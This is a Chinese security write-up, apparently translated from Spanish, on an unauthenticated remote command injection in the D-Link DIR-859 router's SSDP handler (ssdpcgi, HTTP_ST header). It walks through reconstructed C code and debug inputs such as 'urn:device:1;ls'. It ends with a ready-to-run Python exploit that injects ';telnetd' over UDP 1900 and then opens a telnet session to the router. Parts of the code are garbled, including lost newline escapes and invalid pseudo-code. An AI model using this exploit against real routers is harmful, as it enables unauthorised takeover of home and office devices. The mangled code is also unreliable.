D-Link DIR-859 — ssdpcgi HTTP_ST中未经身份验证的RCE

  • A+
所属分类:安全文章

0x00:技术细节

型号:DIR-859
固件版本:1.06b01 Beta01,1.05
架构:MIPS 32位

0x01:脆弱性

远程执行代码(未经身份验证,LAN)

0x02:影响范围

0x03:漏洞分析

远程执行代码漏洞是在ssdpcgi()函数中找到的,该函数先前已实现了该漏洞的解决方案(补丁),但该漏洞仍然存在,因为所有环境变量均未正确过滤.
接下来,我们将简要介绍这一新发现.
首先,我们将主函数的代码重写为更易读的代码,例如(c/c ++),以便更好地理解。

c++
int ssdpcgi_main(int argc) {
char *HTTP_ST;
char *REMOTE_ADDR;
char *REMOTE_PORT;
char *SERVER_ID;
if (argc == 2) {
HTTP_ST = getenv("HTTP_ST");
REMOTE_ADDR = getenv("REMOTE_ADDR");
REMOTE_PORT = getenv("REMOTE_PORT");
SERVER_ID = getenv("SERVER_ID");
if ("SI LAS VARIABLE SON" == 0) {
break;
} else {
// PARCHE "strncmp()" ESTO FILTRA LA INYECCIÓN DE CÓDIGO
all = strncmp(HTTP_ST,"ssdp:all",8);
if (all == 0) {
format = "%s ssdpall %s:%s %s &";
} else {
uuid = strncmp(HTTP_ST,"uuid:",5);
if (uuid == 0) {
format = "%s uuid %s:%s %s %s &";
} else {
// VULNERABILIDAD
urn = strncmp(HTTP_ST,"urn:",4);
if (urn != 0) {
return 0;
}
device = strstr(HTTP_ST,":device:");
if (device == 0) {
format = strstr(HTTP_ST,":service:");
if (format == 0) {
return 0;
}
format = "%s services %s:%s %s %s &";
} else {
format = "%s devices %s:%s %s %s &";
}
lxmldbc_system(format,"/etc/scripts/upnp/M-SEARCH.sh",REMOTE_ADDR,REMOTE_PORT);
}
}

在分析了功能之后,我们需要完成以下步骤来利用此漏洞。
必须在ST变量中发送值"urn:",以达到其他条件并且不执行返回.
检查是否发送了两个字符串“设备或服务”之一。这样,由于strstr()函数允许连接命令,因此我们已经可以验证漏洞的存在。
该字符串作为参数发送到lxmldbc_system()。
```c++
/ call system() in printf() format. /
int lxmldbc_system(const char * format, …){
char cmd[MAX_CMD_LEN];
va_list marker;
va_start(marker, format);
vsnprintf(cmd, sizeof(cmd), format, marker);
va_end(marker);
return
system(cmd);
}

![图片.png](/img/sin/M00/00/07/wKg0C14-2DmAIjBKAAC7hDTQr68852.png)
当我们控制HTTP_ST环境变量的值时,我们可以在将命令作为vsnprintf()函数的参数发送之前将它们连接起来,以格式化最终命令。
返回后,格式化的命令存储在寄存器$s0=buffer中,它将用作(system $ s0)函数的参数.
此外,我们可以观察最终存储在内存中的结构.
当我们使用注入的命令将结构引用为字符串的格式时。我们在注射存在的地方脱颖而出.
language
s0:/etc/scripts/upnp/M-SEARCH.sh devices 127.0.0.1:13 1 urn:device:
s0:/etc/scripts/upnp/M-SEARCH.sh services 127.0.0.1:13 1 urn:service:
```


这些是标头值,在请求中发送。

0x04:调试

在进行调试之前,必须使用其值(包括命令的注入)调整每个变量。
在执行结束时,我们看到注入的命令已成功执行。
```language
IP="127.0.0.1"
PORT="1337"
METHOD=”M-SEARCH”
URI="/"
HTTP_ST="urn:device:1;ls"
REMOTE_PORT="13"
SERVER_ID="1"

o también

IP="127.0.0.1"
PORT="1337"
METHOD=”M-SEARCH”
URI="/"
HTTP_ST="urn:service:1;ls"
REMOTE_PORT="13"
SERVER_ID="1"
language
s0:/etc/scripts/upnp/M-SEARCH.sh devices 127.0.0.1:13 1 urn:device:1;ls &
s0:/etc/scripts/upnp/M-SEARCH.sh services 127.0.0.1:13 1 urn:service:1;ls &
```

0x05:Exploit

python
import sys
import os
import socket
from time import sleep
def config_payload(ip, port):
header = "M-SEARCH * HTTP/1.1n"
header += "HOST:"+str(ip)+":"+str(port)+"n"
header += "ST:urn:device:1;telnetdn"
header += "MX:2n"
header += 'MAN:"ssdp:discover"'+"nn"
return header
def send_conexion(ip, port, payload):
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)
sock.sendto(payload,(ip, port))
sock.close()
if __name__== "__main__":
ip = raw_input("Router IP: ")
port = 1900
print("n---= HEADER =---n")
headers = config_payload(ip, port)
print("[+] Preparando Header ...")
print("[+] Enviando payload ...")
print("[+] Activando servicio telnetd :)")
send_conexion(ip, port, headers)
print("[+] Conectando al servicio ...n")
sleep(5)
os.system('telnet ' + str(ip))

演示视频
原文地址

相关推荐: 一段困扰许久的防注入代码

有段时间一直热衷于研究各种waf绕过,一般来说,云WAF可以通过找到网站真实IP来绕过,硬件waf也常因为HTTP协议解析差异导致绕过,但是,代码层的防护往往只能从代码逻辑里寻找绕过思路。在一些网站通常会在公用文件引入全局防护代码,因此,我收集了网络上常见的P…